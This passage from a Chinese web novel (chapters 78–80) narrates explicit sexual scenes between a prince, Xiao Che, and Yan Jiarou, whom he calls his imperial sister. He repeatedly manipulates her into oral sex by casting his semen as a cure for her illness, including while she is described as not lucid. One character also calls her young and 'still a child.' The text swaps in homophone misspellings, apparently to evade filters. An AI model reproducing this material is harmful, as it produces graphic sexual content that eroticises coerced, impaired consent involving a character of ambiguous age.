但其实当初允诺萧彻一月之期,转眼已过了大半,等再过一些时日,她再怎么犹犹豫豫,也不得不做出选择了,似乎并不差这么几天,何妨今日就做出选择呢? 可她真的……做好准备了么?不说萧珏,单说萧彻那骇人的尺寸……她觉得可能不过是换种死法罢了。 她一时脑子混乱得很,根本不知道怎么办。 萧彻只当她是在他和萧珏之间犹豫不决,深吸一口气,竭力按捺**内上浮的戾气。 看在颜嘉柔生病的份上,他的耐心也比往常要好上许多,并不发作,只循循善诱地道:“这世上之事,向来忌讳一个‘贪’字,颜颜,我和他,你只能选一个。” “选我吧,”他的呼吸有些乱,一双琉璃色的眼瞳一瞬不瞬地看着她,漂亮得不像话,哑声道:“我绝不让你失望。” 颜嘉柔怔怔地看着他:“萧彻……我……” 萧彻深吸一口气,到底还是不敢听颜嘉柔的答案,大手扣住她的后脑勺,将人按了过来,狠狠地吻上了她。 唇齿纠缠,好一会儿他才松开了她,额头与她的相抵,喃喃地道:“你是我的……只能是我一个人的……” 是不容置喙的语气,却又分明带着一丝忐忑的颤栗,小心的祈求。 颜嘉柔心尖一颤。 几乎就要立刻答应他。 然而话到了嘴边,到底还是多了一分犹豫茫然:“真的……没有别的办法了么……” 她原本不过是在最后关头随口一问,并未指望真有什么别的办法。 然而这随意的一句问话,却让萧彻真想到了“别的办法”。 既然她并不是十分地愿意,他也无谓逼她,他既想到了别的法子,自然也就准备如实告知:“其实,也不是没有。” 颜嘉柔强忍着身上的不适,问他:“……什么?” 萧彻看了她一眼:“那字条上只说要取精,却没说方式,我想你怎么取的血,应该也可以怎么取精。” “……什……什么意思?” “意思就是,像取血一样喝下去,照理也可以。” 他阴阳怪气地道:“这样,便能保住你的清白了,清河公主,该是满意了吧?” “我……萧彻,我不是那个意思……”话虽如此,但萧彻的提议的确很让她心动,只是他的精,该怎么取呢?像取血一样,难道让她用嘴? 不!这怎么行! 她的神色难堪极了,紧咬着唇,欲言又止地看向萧彻,眼睫颤了颤,又是一副快要哭出来的模样。 萧彻只用瞥她一眼,便知她脑袋里想的是什么,当下轻嗤一声,声线倦懒地道:“放心,用不着你——我自己来,满意了?” 颜嘉柔登时松了口气,却又不免浮上一丝困惑,张了张口,欲言又止地道:“那你……怎么给我?” 萧彻看他一眼:“你二哥不是给了你那玩意儿吗,现下到了派上用场的时候了。” 二哥给的,能在这种时候派上用场的东西…… 颜嘉柔突然想到了什么,脸色顿时又涨红了几分。 三日前,萧衍不知道从哪里弄来了几个稀奇古怪的东西,长而薄,透明状,像是某种动物的肠子制作而成。 萧衍把这些东西送给她,她把玩了半天也不知道是做什么的,试探着将手指探入,大约可以容纳二三指,唔,没想到撑开来还挺粗,不过戳了戳并不好玩。 她困惑地将手指伸出来,又试探着轻咬了一口,唔,不好吃。 既不好吃又不好玩,她想不通二哥送给她这个是什么用意,便抬头用眼神问询,澄澈的眼神一派天真单纯。 萧衍在一旁忍笑忍得辛苦,好半天才缓过来道:“乖乖,这不是吃的,也不是玩儿的,这是让你给你三哥用的。” “给三哥用的?那为什么不直接给他?” “他这些日子不是整天出去么,我总见不到他,给你也是一样的,下回你们办事的时候你给他戴上不就完了?” 说着语重心长地道:“二哥这是为你好,你小小年纪,万一被萧彻搞大了肚子,那多不好。你自己都还是个孩子呢,怎么能又怀一个孩子。” 饶是颜嘉柔再不聪明,这会子也听出萧衍话里的意思了。 原来他说的办事是和萧彻……那那个东西,岂不是戴在萧彻的那个上?! 手上的东西一下子变得烫手起来,她连忙向把东西塞回萧衍怀里,涨红着脸道:“我……我不要……还你……” “诶,跟二哥害羞什么,拿着吧,不然以后吃苦的可是你自己。” 萧衍非往她怀里塞,她也实在拒绝不了。 到了最后,还是半推半就地收下了。 她安慰自己,萧衍说的,其实也不无道理,这东西,说不定以后真的用得上。 她原本是打算把东西藏好,等什么时候用得上了再拿出来,结果房间太小,她没地方好好藏,萧彻又跟她同屋,一不小心就被他发现了。 他修长手指松松垮垮地拈着其中一个套,似笑非笑地看向她:“哦?让我看看,这是什么?” “这是……皇妹特地为我准备的?” 那一刻颜嘉柔真恨不得地上裂开一条缝,好让她立刻钻进去。 她涨红着脸,张牙舞爪地反驳道:“才不是!是二哥硬塞给我的!我怎么可能会为你特地准备这个,根本没有的事,你少诬赖我了!” “哦?你二哥硬塞给你的?”萧彻勾唇轻笑:“那你怎么不扔掉,反而要这么宝贝地藏起来?” “我……我……”颜嘉柔支支吾吾地道:“再怎么说,这也是二哥的心意,我……我怎么能……” “心意?什么心意,勾引人的心意?” “宝宝,你是一个什么样的货色,我还不清楚么?骄纵任性,自小便是被宠坏了的,做事向来全由着性子,几时会考虑他人的感受?” “所以少跟我这些冠冕堂皇的话,说吧,到底为什么留着不扔掉?” “我……我……” “哦,我知道了,宝宝是想留着勾引我对不对?私下留着,想找机会亲手为我戴上,是不是?” “东西都准备好了,”萧彻慢慢笑了起来,哑声道,“宝宝,你很着急么?” 颜嘉柔说不过他,只能哭着摇头道:“呜呜,我没有……” 萧彻低头吻去她的泪水,含混笑道:“没有么,说谎的人可是要接受惩罚的。” “没……没有说谎……” “没有说谎?明明说谎了,却说没有说谎,宝宝,这不是说谎,又是什么?” 颜嘉柔目瞪口呆地看着他,惊叹于他的厚颜无耻:“你……你强词夺理,你无耻……” “无耻?”萧彻点了点头:“骂得好。” 说完将颜嘉柔拦腰抱起,扔到了床上,不等她起身,便倾身覆了上去,笑得肆意:“还有更无耻的,想不想试试?” “唔……萧彻,不要……” 萧彻的气息有些沉,轻轻**她的耳垂:“乖,别乱动,退嘉紧。”便抵着她的打退内测出来了一次。 当然这只是第一次。 萧彻的精力旺盛到可怕,这件事最后以她又给他乳胶了几次结束,萧彻给出的理由是,她故意勾引他,他不过是身体力行地帮她求仁得仁罢了。 言下之意,难不成还要她感谢他不成? 颜嘉柔嘴巴笨,说不过他,但她知道,他就是在欺负她! 奇怪了,为什么她从前就没发现他是一个这么不要脸的人呢! —— 等再次回过神来时,萧彻已经将萧衍给她的东西拿了过来,低头随意地翻弄着,一边道:“去外面等着,好了叫你。” 颜嘉柔强忍着身上传来的一阵阵颤意,小声啜泣道:“哥哥……我……我害怕……” 她怕这个方法没有用,她怕这个怪病会越来越严重,让她无法正常生活,自从在骊山上被野狐咬了一口后,事情的发展就越来越不受她的控制了,如今更是到了无法收场的地步。 她对未知的发展有一种茫然的恐惧。 萧彻闻言动作一顿,抬头看了她一眼,揉了揉她的脑袋,语气温柔地道:“怕什么,我说了,我会是你的药,会没事的,嗯?” 颜嘉柔哭着点了点头,一头扑进他的怀里。 萧彻随意地笑了下:“乖了,” “不怕,待会儿你只当是药,忍一忍,闭上眼喝下去就行。” 这般哄着,总算将人哄了出去。 萧彻靠坐在床头,从枕头下拿出一幅画…… 第78章 第78章“宝宝,乐意之至。”…… 柔第一次体会到什么叫做度日如年。 她看了一眼一旁的漏壶,水从壶底流管中慢慢滴出,她听着一声又一声的滴答声,在心里默默计算着时间,这一刻,时间似乎变得格外漫长。 身上刻骨的躁动与瘾念疯狂咬噬着她的身体,她已经快要坚持不住。 她被这无法言说的折磨逼出了泪水,视线渐渐变得模糊,不知过了多久,她费力地抬头看了一眼壶上的刻度,原来已经快过了两炷香的时间了。 怎么会这么久? 萧彻还没好吗? 她虽然不谙世事,但得益于多年看话本的经验,于男女之事上也并非一窍不通。 譬如话本上会写一炷香之后,云消雨散。 那一次的时间,大概就是一炷香左右。 为什么萧彻那么久还没好呢? 她又是奇怪又是不耐,全身犹如被蚁虫啃啮一般,渴念汹涌着叫嚣着,终于再也等不了了,强撑着身子,一步一步地往床边走去。 随着她慢慢靠近床榻,空气中那一声声压抑的川西也越来越明显。 颜嘉柔吞咽了一口口水,只觉得连呼吸都变得困难。 空气仿佛凝胶一般变得粘稠凝滞,身处其中,便觉喘不过气来,只让人莫名觉得浑身z热。 她在床边站定,并没有继续往前走,只是透过床幔影影绰绰地望向床上的人影,踟蹰着,试探地叫了他一声:“哥哥……” 喘//。息声停滞了一瞬。 萧彻明显听到了,却并没有回应。 不一会儿,喘//.x声复又响起,甚至更为剧烈低沉,嗓音带着一种沙哑的撩人,格外性感,像是在故意喘给她听。 那一声又一声的川西,仿佛就响在耳边,鼓动着耳膜,撩拨着神经。 颜嘉柔局促无措地站在原地,又试探着叫了他几声,可回应她的,只有他愈发喑哑低沉的川西声。 颜嘉柔毕竟道行浅,论攻心,哪玩儿得过萧彻,这般僵持了一会儿,实在受不了了,便没忍住上前窥探情况: “萧彻,你好了没……” 话音却在她真正见到萧彻的那一刻戛然而止。 饶是早就有心理准备,在见到萧彻那般模样的时候她整个人还是呆立在原地。 只见萧彻神情懒散地靠在床头,微微撩起眼皮,目光与她对视,却毫不心虚,反而玩味地笑了。 手上的动作更是未曾停下,糅韧狰狞地昂阳着,不知是不是她的错觉,在萧彻见到她之后,那东西似乎又张达了一圈,实在骇人。 他看着她,手上未停,懒洋洋地道:“怎么,原来皇妹,竟想看我自读么。” 颜嘉柔脑袋轰得一声,下意识地就想逃。 只是脚步像是被钉在原地,根本挪动不了。 她没有忘记她过来的目的,便转过脸去,硬着头皮道:“你……你怎么还没好……” 她根本不敢直视萧彻,更不敢看萧彻对着她做那种事情……她不明白为什么萧彻生就一副天人般的样貌,身下的东西却那般可怖,这样的反差,实在让人心惊肉跳。 她便只能转过脸去问他为什么还没好。 等了半天,却仍不见萧彻回应。 她只能睁开眼,重新转过头看向他,目光有几分困惑:“萧闻祈……” 萧彻笑看着她,微微挑起了眉,嗓音透着几分沙哑的性感,尾调慵懒:“想知道?” 颜嘉柔忙不迭地点了点头,她算是知道了,只有她看他的时候,他才会理她。 ——这就迫使她不得不去看他对着她自读……萧闻祈他是故意的! ……然而明知他是故意为之,她却依旧无计可施。 萧彻懒散地笑了下,道:“宝宝,过来。” “想知道的话,就乖乖过来。” 颜嘉柔实在迫切地想知道答案,被他吊得没有办法,只能一步步地朝他走去。 等走到他身边,刚想开口,却被她一把拉上了床。 她被迫跌坐在他的腿上,与那骇人的东西相隔不过寸余,甚至能感受到它灼人的热度。 仿佛被烫到一般,她立刻缩回了手,本能地感受到危险,呜咽道:“萧闻祈……” “我在,宝宝。”男人坚实灼热的胸膛贴了上来,滚烫的热意瞬间将她笼罩,她避无可避。 “怕什么,不是早就感受过它?” “想知道我为什么还没出来?”他大手包裹住她的手,扶着她的腰,附在她耳边轻轻呵气:“我可以告诉你……” “……是……是为什么?”小公 主天真地问:“是遇到什么困难了吗?” 她现在整副心思都在这个问题上,完全没有注意到萧彻已经引导她握住了他的东西。 等到她反应过来,已经来不及了,刚想挣扎,耳边便又响起了萧彻喑哑的嗓音,气息有些不稳:“别动,乖乖听我把话讲完,不想知道原因了吗?” 小姑娘的心思便又被岔了开去:“什……什么?” 萧彻舔//。吮着她白腻的耳垂,解释道:“兰陵人向来便是如此,时间要久一些,还有就是,”他顿了顿:“你二哥给的东西小了点,套上去后有些勒,我设不出来。” 颜嘉柔闻言不可置信地睁大了眼睛,扭过头去看他,朝他伸出了两根手指,顿了顿,又添了一根手指:“那东西还小吗,都快装下我三根手指了!” 萧彻好笑地看着她,将她的三根手指拢下:“你好端端的,将手指伸进去做什么?” “我以为是什么好玩儿的东西嘛……谁知道是派那个用场的……” “那就是好玩的,宝宝,你没试过又怎知不好玩?”他低笑了声:“只是我那里,咳咳,确实长过了些,以后要辛苦宝宝了。” 颜嘉柔眨了眨眼,不明白为什么萧彻要这么说,不过她觉得这不是什么重要的事,便也没问,只随口客套道:“不辛苦不辛苦。” 萧彻一噎,凑上去亲了亲她肉乎乎的脸颊,忍着笑道:“宝宝,你怎么这么可爱。” 颜嘉柔不以为意,因为她本来就很可爱,这不是明摆着的么,还用得着他说! —— 先前她跟萧彻分开了好一会儿,如今回到他的身边,与他亲密接触,身上会好受很多,能让她暂时维持清醒的意识。 然而,也只是暂时罢了。 时间一长,汹涌的ke念便卷土重来。 萧彻很明显地察觉到了她的变化。 她开始坐不住了,身体无意识地磨蹭着他,声音都变了调:“那……那你一直弄不出来,该……怎么办啊……” 萧彻轻笑,诱哄着道:“不怕,不过是遇到了一些小困难,宝宝帮帮我,就好了。” “那……我要怎么帮你?” “首先,帮我把套在我……上的东西给摘了,乖,我们不用那个了。” 颜嘉柔当下没什么头绪,想着既然是那东西勒着萧彻,害他迟迟设不出来,也的确没有留着的道路,便颤巍巍地伸手去帮他摘了。 奈何那东西与萧彻的……严丝合缝,实在卡得紧,轻易摘不掉,她尝试了几次之后,发现只能一只手扶着他的东西,另一只手从底部往上褪,一点点地慢慢摘。 只是这般摘费力不说,耳边萧彻的川西声越来越重,手里的东西也越来越大。 她紧张得手心都在出汗,等到把那东西完全摘下时,萧彻的……立刻弹了出来,没了束缚之后,仿佛立刻又张达了一圈,视觉冲击实在太过强烈,颜嘉柔毫无准备,被猛地吓了一跳,身子便不由自主地向后倒去,这一番动静,整张床榻也跟着晃了晃。 便是这一晃,让她听到有什么东西掉落的声音,似乎是某种纸帛……她循声望去,果然见到床尾堆着一副画卷,结合方才听到的声音,想是这画卷原本是挂在床尾的,只是并不牢靠,刚才她惹出一番动静,床榻跟着晃了晃,连带着画卷也跟着掉落。 先前她的心思都在萧彻身上,竟没留意到对面挂在一幅画,只是印象中平常是没有的,想是之前萧彻趁她离开那会才挂上去的。 奇怪,她刚才离开那会儿,萧彻不是在做那件事么,为什么要挂上一幅画? 那究竟是一幅怎样的画? 她转头看了萧彻一眼,用眼神问询,萧彻却只是懒洋洋地笑看着她:“想知道?” 他语调散漫:“拿过来看看不就知道了?” 虽然莫名觉得有几分怪异,但在好奇心的驱使下,颜嘉柔还是爬挪过去拿了那幅画,打开一看后,整个人都愣在原地。 那画上画的……竟然是她的罗体像!该是那次她去含光殿找他时,他帮她画的那一幅。 她是知道他帮她画过这样的画像的,虽然害羞,但她当时经不起他的软磨硬泡,便同意了,谁能想到他竟然会将这幅画一路带至淮州! 且就在刚刚,还对着她的画像做那种事! 萧彻他怎么可以…… 颜嘉柔只觉整张脸都要烧起来了,她紧咬着下唇,扭头一脸羞愤地看着他:“你……解释!” 照理做这种坏事被当事人发现的话,应该会心虚紧张,无地自容才是,可反观萧彻,全无一点心虚之态,嘴角噙着一丝若有似无的笑意,依旧是一贯散漫自若的神情:“解释?” “没什么好解释的。” 他从身后贴了上来,热息倾吐在她的耳侧,激起一阵s麻的颤li:“皇妹,一切都如你所见。” 仿佛是为了验证他的毫不心虚,身后那骇人的物件正随着他的贴近只听听地戳在她的药上:“不对着你的画像,想象你被我狠狠干的样子,我实在设不初来……” “你……你无耻!” “无耻?”萧彻轻吻着她绯红的脸颊,轻笑了声:“真是个没良心的小兔,也不想想,我这般无耻,是为了哪个?” “你……” “说啊,我这么做,是为了哪个?” “是……是为了我……” 萧彻:“对了宝宝,我这般为你,你却骂我,这算不算是恩将仇报?既是恩将仇报,你是不是该向我道歉?” “我……”颜嘉柔晕晕乎乎的,意识早就不清醒了,一时竟被他绕了进去,磕磕绊绊道:“对……对不起……” 萧彻翘起唇角:“真是个乖宝宝,”他倒是大方:“原谅你了。” “唔……”通常听到有人对你说“原谅你了”,下意识地便会接一句:“多谢,”颜嘉柔也不例外。 所以当她反应过来她到底干了什么时,一切都已经来不及了。 不是,萧彻对着她的画像自读,她到底为什么要对他说多谢! 一抬头,果然见萧彻正笑得戏谑,竟恬不知耻地道:“不客气,” “——乐意之至。” 第79章 第79章怪症新的解药解锁。 萧彻这般恶劣,气得颜嘉柔伸手去打他,然而她此时身上软绵绵的没有半分力气,说是打闹,倒更像是在调//。情。 只是再没力气,她也要跟萧彻说清楚一件事:“你……你别对着我的画像做那种事……” 萧彻“哦?”了一声,笑问道:“为什么?” “!!!这有什么为什么的!不能就是不能……”萧彻对着她的画像自读这种事,也太羞耻了,她怎么能够允许! 萧彻闻言勾唇,却是不要脸地道:“哦,我知道了,宝宝不许我对着你的画像设,其实是想我对着你设,是不是?” 颜嘉柔呆住了,不敢相信萧彻居然会这么不要脸,身上越来越难受,她哭着摇头道:“不是,不是……” “不是就不是,哭什么?” 萧彻动作轻柔地舔去她的泪水,循循善诱道:“你二哥给的东西我用不了,颜颜,你说要怎么办呢?” 颜嘉柔眼睫轻颤,迷茫地摇了摇头。 萧彻弯起唇角 ,笑得好看,拇指揉按上她的唇瓣,他带有暗示意味地问:“用这里,好不好?” 颜嘉柔茫然地看着他,等反应过来他话里的意思后,惊恐地瞪大了美眸。 萧彻这是,让她直接用嘴接……这怎么行呢…… “不行吗?可是颜颜,这是眼下最好的方法了,难道你想我对着你的画像……况且那套子太勒,也根本用不了。宝宝,讲道理,我也是没有办法。” “所以不如直接用最含着,宝宝的唇舌那么软,只要轻轻添口允,我必尽数缴械,这样不好么?” 萧彻挑眉:“难不成你想我对着你的画像……” 颜嘉柔立时反驳道:“我……我当然不想!” “那就用宝宝的嘴……颜颜若是含着我的东西,我便不对着你的画像做坏事了,好不好?” “而且你若含着,我必定承受不了那般消魂滋味,很快便结束了,真的。” “所以,宝宝,好不好?” 颜嘉柔愣了一下,她神志不清,居然觉得萧彻说得也有几分道理,至少萧彻不会对着她的画像做那种事情了,而且能快些结束这荒唐的一切。 于是她晕晕乎乎地点了点头,任由萧彻随意摆弄,直到那硕大骇人的物件挤进她的口中,趁涨无比,她才如梦初醒,然而一切已经来不及了。 她跪伏在他身前,抬头可怜兮兮地看着他,眸中泛着水色,因为嘴里含着他的东西,只能发出呜呜的动静。 萧彻也很不好受,额头青筋凸起,喉结泛着薄红,上下滚动着,显得尤为突兀。 “宝宝,不能咬,”他滚动了一下喉结,嗓音格外低哑:“乖,不想以后守活寡,就把你的呀齿收起来。” 颜嘉柔被吓了一跳,以为自己真的把萧彻咬坏了,立刻收起了牙。 萧彻闷笑了声:“宝宝好乖。” 看着小公主那么乖,他嘴巴又忍不住开始犯贱了:“怎么突然那么听话,是不是真的那么怕守活寡,嗯?” 便是欺负颜嘉柔此刻不能说话,只能含嗔带怨地看着他,眸中渐渐浮上水汽。 萧彻喉结动了动,也意识到自己欺负过头了,抬手揉了揉她的脑袋,软声哄慰道:“好了,三哥不逗你了,我们颜颜最乖了。” “我们做正事吧。” 他脖颈后仰,深深地做了一个吐息,大手摸着脑袋,开始教她:“你夏日里不是最喜欢吃那个乳糖浇了么,怎么添的,忘了?从下往上,慢慢来,定段喜一下……” 颜嘉柔懵里懵懂地,开始照他说的做。 她不知道她自己做对了没有,但萧彻的呼吸显然越来越重,扣着她后脑勺的手也加大了力道,她看见他的脸上染上了情yu,她第一次见他流露出近乎于沉溺失控的神情。 萧彻在人前一向冷淡疏离,浑身上下都浸着冰雪般的冷意,仿佛对一切人事都漠不关心。 她以前也曾幻想过,这样一个人,他染上情玉会是什么样? 原来是这样的,她怔怔地望着他,比她想象的还要勾人…… 口中艰难地函着他的东西,她当然不喜欢做这种事,但她发现她居然很喜欢这种能掌控萧彻的感觉。 注意到她的视线,萧彻撩起眼皮,低头看了她一眼,愉悦地勾起唇角:“就这么喜欢看我啊?” 颜嘉柔脸上发烫,有些慌乱地眨了眨眼,下意识地垂下了眼睑。 头顶上方传来萧彻的一声轻笑:“躲什么?” 他的嗓音沾染了情玉,有种慵懒的沙哑:“我本来就是你的,你想怎么看都可以。” 颜嘉柔抬眼,怔怔地看着他。 她想这世上大约再也没有人笑得比他好看了。 萧彻挑眉,伸手轻扣了她的额头:“看可以,宝宝,别看傻了,怎么不舔了?” 他道:“别偷懒啊。” 颜嘉柔这才回过神来,重新开始栋最。 萧彻脖颈后仰,喉结不住滚动,逸出一声压抑的申银:“呃……宝宝好棒。” 没有人不喜欢听夸奖,颜嘉柔尤其。 她之前不知道从哪里听说,有些男人喜欢在床榻上骂人助兴,她都惊呆了,好在萧彻从来不会骂她。 萧彻在情事上从来不吝啬对她的夸奖。 她好喜欢他夸她,哪怕是在这种事情上。 虽然她并不喜欢眼下正在做的事情,但得了萧彻的夸奖,自然也愿意更卖力些。 后来也不知道过了多久,久到她嘴巴都要僵了,叩中的东西一跳一跳的,终于金属设在了她的最李。 她瞪大了美眸,只觉大脑一片空白,下意识地做了一个吞咽动作。 身体顿时起了一种很奇妙的反应,与取血之后大差不差,却更让人飘飘欲仙。 仿佛磕了某种yao,叫嚣的渴念终于得到慰藉,是一种无法言说的j乐。 颜嘉柔眼神迷离地歪倒在萧彻身上,好一会儿才缓过来。 身上的怪症得到了缓解,理智终于渐渐回笼。 第一个念头是,又被萧彻骗了! 她到底为什么会相信他会很快结束! 之后意识到自己做了什么的颜嘉柔,目光茫然地落在了半空中,忽然呜得一声哭了出来。 这可把萧彻吓了一跳,他将人扶了起来,捧过她残红未褪,哭得梨花带雨的一张脸,柔声道:“怎么了?我的东西没用么?” “没……”颜嘉柔摇了摇头,抽噎着道:“有用……” 萧彻失笑:“那哭什么,太难喝了?” 颜嘉柔摇了摇头:“不……不难喝……”没有什么很怪的味道,质地大约跟牛乳差不多。 她哭完全是因为她一时接受不了她做了这种事,好人家的女孩儿是不会做这种事的。 她的情绪不太高,有些依赖地环住他的腰身,将脸埋进他的怀里:“萧闻祈,”她闷闷地道:“你……你不准说出去,知道么?” 萧彻却只是笑。 颜嘉柔有些着急了,抬头看向他:“你笑什么!我说你不准说出去,你听到了没有!” “祖宗,你讲点道理,”萧彻笑得宠溺:“这种事,我能跟谁去说?” 颜嘉柔眨了眨眼,听萧彻这话的意思,是不会往外说出去了,她娇哼一声,一抬下巴道:“那还差不多。” 萧彻拇指抚摸过她柔软的唇瓣,注意到唇角残留的柏浊,眸光暗了一瞬,哑声道:“宝宝,这里,别浪费了。” 颜嘉柔愣了一下,想着自己千辛万苦弄出来的东西,的确不应该浪费了,也没多想,下意识地舔了一下唇角,伸出一截嫣红的舌尖,将那滴柏浊卷进了口中。 萧彻顿觉口干舍造。 只一眼,他就应了。 底下的物件y邦b地钉在她柔软的杜皮上,颜嘉柔惊呼一声,低头望去:“萧彻,它怎么……” “你……你让它别这样……”她语无伦次道:“你也不管管它……” 萧彻低头舔吻着她白腻的颈侧,嗓音蕴着笑意,喑哑道:“宝宝,我管不了,它是为你变成这样的,该是你管才对。” “我?我……我怎么管……” “你说呢,它这么喜欢你,不打算给它一点奖赏么,嗯?” “萧彻,我……” 萧彻的吻又缱绻地落了下来,嗓音含着浓重的y妄:“皇妹有被我唯宝么?再唯几次好不好?” 颜嘉柔慌乱地道:“不不不,萧彻,够了,我已好了,现在一点都不难受了……” “是么,”萧彻低哑地笑了声,哄着她伏下了身子:“多多益善。” “唔……” 如此胡闹到天将明,第二日颜嘉柔昏睡了一整日不说,而且滴米未进——实在是前儿个夜里吃撑了。 萧彻却还问她怎么了,气得她瞪了他一眼,嗔怪道:“哥哥难道不知道我怎么了吗?还不全都拜你所赐。” 萧彻挑了一下眉,方才反应过来,上床和衣躺在她的身侧,从身后环住她的身子,笑了声道:“我的错,往后最多只喂两次,好不好?” 颜嘉柔哼了一声,并没有理他,她再相信他就有鬼了! 经过那晚之后,除却第一次的羞耻和难以接受,慢慢地,颜嘉柔也习惯取用新的解药了。 习惯是一件很可怕的事情,就像温水煮青蛙,一步步地将女儿家的害羞和矜持全都抛到脑后,每次当她以为这已经是她能为萧彻做的极限时,她总能为他做得更多。 第80章 第80章“我喜欢你,很喜欢很喜…… 两人日渐亲密, 灾银筹措完毕,百姓得到了安顿,堤坝也已经修补完,淮州百姓对萧彻感恩戴德,仿佛他是活菩萨一般,连带着颜嘉柔,因为陪着萧彻去粥棚施过几次粥,也跟着沾了光,说她貌美心善,与萧彻极为般配,正是天生一对,听得她心里可高兴了。 萧彻忙完了正事,照理应该回京,不知为什么却迟迟没有动身,颜嘉柔问及愿意,他只意味深长地道:“急什么,你二哥的事还没办完,我们再等等他。” 颜嘉柔眨了眨眼,不明白萧衍能有什么要紧事要去做,在她的印象里,他根本什么正事都不做,只会吃喝玩乐,将正事全推到萧彻身上。 只因在所有人的眼里,萧彻虽然身为皇子,可并没有继位的可能,萧衍自然也是这么以为。 一个没有威胁的兄弟,又是站在自己的阵营,于萧衍而言,不过是幕僚门客罢了,他所做的一切都是为了帮他增加夺储的砝码,那么他的功绩自然也要算在他的头上,因此他对萧彻一向很放心,也肯放手让他去做。 颜嘉柔对他们这些男人之间的事才没兴趣呢,她在乎的无非是萧彻有没有时间陪她,今天有没有亲她,有没有抱她,有没有夸她是一个乖宝宝。 因此在萧彻没有向她过多解释的情况下,她也并没有追问。 反正她也不急着回去,非但不急着回去,甚至都不太想回去,她有一种预感,一旦回到宫里,她和萧彻之间的关系,便不能像眼下这般纯粹和肆意了。 萧彻不再忙正事后,几乎无时无刻都陪着颜嘉柔,两人如胶似漆,好得蜜里调油,萧彻更是恨不得死在她身上。 颜嘉柔觉得她好像每一日都比前一日更喜欢萧彻。 便是连取解药这件事,也不似从前那般排斥了,就像从前取血那般,想要了便往萧彻身上凑,睁着一双无辜的美眸巴巴地望着他,软声叫着哥哥。 只是不同的是,往常取血之前总要先撒娇讨好,才能换取萧彻的奖励,但如今的解药,他倒是大方地亲自往她嘴里怼。 房间内,萧彻身子后仰,靠坐在床上,眼皮半阖,呼吸有些重。 他从喉间逸出含混的一声,缓了许久,见颜嘉柔始终没有起来的意思,便伸手捏过她的后颈,将人整个给捞起来。 他滚动了一下喉结,一开口,嗓音沙哑得厉害:“都出来了,还伏在下面做什么?也不怕吃多了又用不了膳。” 他掐着她的下颌,扫了她一眼,见她眼神迷蒙,脸颊染上胭脂色,瞧着倒像是醉酒了一般。 便随口问道:“……好吃么?” 颜嘉柔正磕完解药,整个人飘飘然的,连脑袋都有些晕晕乎乎:“唔,好吃……” 萧彻挑眉,笑得玩味:“就这么喜欢啊?” “喜欢……” “哦?”萧彻笑了声:“喜欢它还是喜欢我?” 颜嘉柔茫然地看着他,脑袋一时没转过来:“喜欢……好喜欢……” “傻子。” 萧彻轻笑:“宝宝是个小傻子。” 他懒洋洋地往后靠,睨了她一眼道:“颜颜,上来,吻我。” 颜嘉柔还没完全清醒呢,便有些懵懂地看着他。 萧彻屈指点了点自己的下唇,挑眉道:“你亲了它这么久,也该亲亲我了吧。” 颜嘉柔怔了一下,这才反应过来他话里的意思。 他想她亲他上面,疑似吃下面的醋了。 颜嘉柔心中咕哝道,这人真是……小萧彻,不也是他的么,怎么会有人跟属于自己身体的一部分吃醋的呀。 她觉得好笑,却也没说什么,主动跨坐在他身上,双手圈住他的脖颈,便要凑上去亲她,唇瓣将将要贴上的一刹那,萧彻却伸手捏住了她的下巴,她的动作被迫停了下来,眨了眨眼道:“怎么了哥哥?” “没什么,”萧彻拇指替她拭去唇边残留的白濯:“这里脏了。” 颜嘉柔愣了一下,旋即笑道:“萧闻祈,你是在嫌弃你自己的东西么?” 萧彻只淡淡地看了她一眼,并不说话。 颜嘉柔咯咯笑了起来,凑上去蹭着他的鼻尖,亲昵道:“哥哥,你居然会嫌弃你自己的东西,自己的东西,也嫌弃么,为什么不喜欢呀,为什么为什么。” 她像只小鸟一样在耳边叽叽喳喳,萧彻捏过她纤细的后颈,终于忍无可忍地用力按了上去,堵住了她的唇:“因为我不喜欢我自己,” 他道:“我只喜欢你。” —— 这般没日没夜地厮混了好几天,颜嘉柔身上几乎浸透了萧彻的气味,这天萧彻终于带着她出门透气了。 出门时却碰到了萧衍,他也正要出门,颜嘉柔心情好的时候是很愿意叫人的,当下便甜甜地叫了一声:“二哥!” 萧衍循声望去,一挑眉道:“哟,是小嘉柔啊。”便向他二人走了过来。 等走至近前,发现颜嘉柔正亲昵地挽着萧彻的胳膊,他看了看萧彻,又看了看她,揶揄道:“哟,小夫妻出门散心啊。啧,别说,你俩搁这站一块,还真挺登对,就跟画里的神仙眷侣似得。” 原以为他这般调侃小女孩肯定会不好意思,结果人朝她甜甜一笑,特别高兴地道:“谢谢二哥!” 她这般落落大方,倒把萧衍给整不会了,只能摸了摸鼻子,讪讪地道:“咳咳……不客气。” 小姑娘道完谢还不够,还非要拉着萧彻求证:“萧彻,你听到了吗,二哥夸我们般配呢。” 萧彻侧头看向她,弯唇笑了下,语调懒散:“这不是废话么,我早说了,我们天生一对。” 萧衍:“…………” 行,合着他今天出门没看黄历,先是说了一句废话,后又吃了一嘴狗粮。 这么一想,他鼻子都气歪了。 好在待会儿佳人有约,也算是聊以慰藉了。 说来也奇怪,这万花楼的花遥姑娘此前一直对他不冷不热的,一看就不喜与他亲近,今日却特地差人过来,邀他过去一叙,难不成是忽然想通,愿意跟着他了? 嘿,这也不奇怪,想他贵为皇子之尊,又生的风流倜傥,怎么着也比薛润那个瘪三强多了吧? 这花遥能不选他吗? 一想到这里,面上不禁流露出几分得意之色。 萧彻观察他的神色,深看了他一眼道:“怎么,二哥有喜事?” 萧衍哈哈笑道:“喜事倒也谈不上,不过是佳人有约罢了。” “是么,”萧彻眉梢微抬,微微笑道:“那就祝二哥早日抱得美人归了。” —— 与萧衍分开后,萧彻带着颜嘉柔去了当地的庙会,庙会极为热闹,有舞狮子、踩高跷、投壶……应有尽有,颜嘉柔久居深宫,几时见过这些新鲜的玩意儿?连眼睛都挪不开了。 她先是所有热闹都去瞧了一遍,最后拉着萧彻停在了投壶的摊位前,撒着娇让萧彻投这个投那个。 从小看着长大的小姑娘,萧彻自然极为宠她,更不用说如今又将她骗上了床,除了最后一步,该做的都做了,她身上没有哪一处,是他没有见过,没有碰过的,有了这层关系后,更是连命都可以给她,摘星捧月亦不在话下,不用说只是投个壶了。 他箭术好,准头自然不会差,百发百中。 颜嘉柔指哪个,他就投哪个,无一失手。 这可把 颜嘉柔高兴坏了,他每每套中一个,她便要欢呼一次:“哥哥好厉害……夫君好厉害!” 萧彻听了唇角翘得老高,自然套得更为起劲。 于是手上不停,几乎把所有物件都给套了个遍。 这把小公主是哄得高兴了,摊主脸上却是黑得如同锅底一般。 